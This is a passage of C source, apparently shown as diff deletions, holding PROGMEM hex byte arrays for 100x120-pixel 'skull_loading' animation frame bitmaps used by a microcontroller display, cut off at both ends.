0x20, 0x42, - 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x41, 0x48, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x10, 0xc2, 0x10, 0x00, 0x01, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x02, 0x10, - 0x00, 0x01, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xc0, 0x00, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x38, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0xc7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x20, 0x00, 0x40, 0x05, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xc0, 0x00, 0x00, 0x42, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x08, 0x80, 0x00, 0x40, 0x42, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x10, 0x00, 0x31, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x30, 0x00, 0x20, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x64, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, - 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x30, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'skull_loading_8', 100x120px -const unsigned char bitmap_icon_skull_loading_8 [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, - 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x60, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, - 0x08, 0x40, 0x10, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x08, 0x00, 0x08, - 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x20, 0x18, 0x07, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x20, 0x44, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x01, 0x83, 0x10, 0xe4, 0x63, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, - 0x10, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x04, 0x30, - 0x00, 0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x0c, 0x60, 0x0a, 0x60, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x10, 0xe0, 0x90, 0x24, 0x20, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x04, 0x23, 0x10, 0x80, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x62, 0x80, 0x01, 0x8c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0xc0, - 0x00, 0x00, 0x4f, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x84, 0x00, 0x00, 0x01, - 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x06, 0x10, 0x00, 0x30, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x4f, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x40, 0x00, 0x86, 0x01, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, - 0x00, 0x80, 0x01, 0x46, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x20, 0x60, 0x00, - 0x00, 0x38, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x44, 0x01, 0x00, 0x00, 0x18, 0x80, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x0c, 0x01, 0x80, 0x00, 0x19, 0x80, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x0c, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, - 0x00, 0x00, 0x82, 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, - 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x01, 0x00, 0x00, - 0x10, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x02, 0x00, 0x00, 0x80, 0x40, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x30, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x0c, - 0x10, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x08, 0x00, 0x42, - 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x40, 0x00, 0x46, 0x21, 0x80, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x03, 0x9c, 0x60, 0x4c, 0x21, 0x88, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x0a, 0x32, 0x20, 0x4b, 0x08, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x0c, 0x63, 0x00, 0x20, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x63, 0x80, - 0x20, 0x00, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x04, 0x60, 0x00, 0x41, 0x40, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x8c, 0x40, 0x04, 0x21, 0x8c, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x03, 0x18, 0x99, 0x06, 0x31, 0x09, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x04, 0x00, 0x12, 0x20, 0x00, 0x11, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, - 0x06, 0x10, 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x0c, 0x60, 0x42, - 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0x00, 0x80, 0x41, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x41, 0x68, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x10, 0xc2, 0x10, 0x00, 0x81, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x02, 0x10, - 0x00, 0x81, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x01, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x02, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xcc, 0x00, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x04, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x01, 0x38, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x20, 0x00, 0x00, 0x24, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, - 0x00, 0x20, 0x00, 0xc7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x24, 0x00, 0x4e, 0x05, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xc0, 0x00, 0x0c, 0x42, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x08, 0x80, 0x00, 0x40, 0x42, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x31, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x30, 0x00, 0x31, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x30, 0x00, 0x20, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x64, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x82, - 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x30, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 -}; -// 'skull_loading_10', 100x120px -const unsigned char bitmap_icon_skull_loading_10 [] PROGMEM = { - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, - 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0xd3, 0x90, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x90, 0x60, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x02, 0xda, 0x00, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x88, 0x01, 0x9c, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x8c, - 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xce, 0x00, 0x1c, 0x82, 0x20, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x8c, 0x01, 0x0c, 0x02, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x01, 0x0e, 0x00, 0x80, 0x31, 0xbc, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, - 0x71, 0x0c, 0x73, 0x08, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x21, 0x0c, 0x63, - 0x18, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x5a, 0xc1, 0xb0, 0xb7, 0x80, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x86, 0x60, 0x00, 0x60, 0x18, 0xc0, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x01, 0x84, 0x60, 0x00, 0x60, 0x18, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x02, 0x40, 0x10, 0x02, 0xa4, 0x35, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x61, 0x88, - 0x03, 0x08, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x61, 0x00, 0x73, 0x18, 0x23, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x40, 0x14, 0x20, 0x10, 0xa0, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x60, 0x0d, 0x63, 0x10, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x03, 0x00, 0x50, 0x10, 0x02, 0x14, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x20, - 0x98, 0x20, 0x04, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x20, 0x08, 0x40, 0x08, - 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x50, 0x02, 0x00, 0x90, 0x25, 0x20, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x33, 0x00, 0x60, 0x00, 0xe0, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x84, 0x13, 0x10, 0x60, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, - 0x52, 0x12, 0x72, 0x94, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x30, 0x04, 0x61, - 0x08, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x10, 0x08, 0x00, 0x00, 0x04, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x82, 0x73, 0x98, 0x01, 0x15, 0xe0, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x41, 0x8c, 0x61, 0x08, 0x00, 0x58, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x02, 0xce, 0x50, 0x00, 0x00, 0xb4, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x73, 0x80, - 0x00, 0x1c, 0xa7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x31, 0x88, 0x00, 0x0c, 0xe2, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x50, 0x92, 0x00, 0x84, 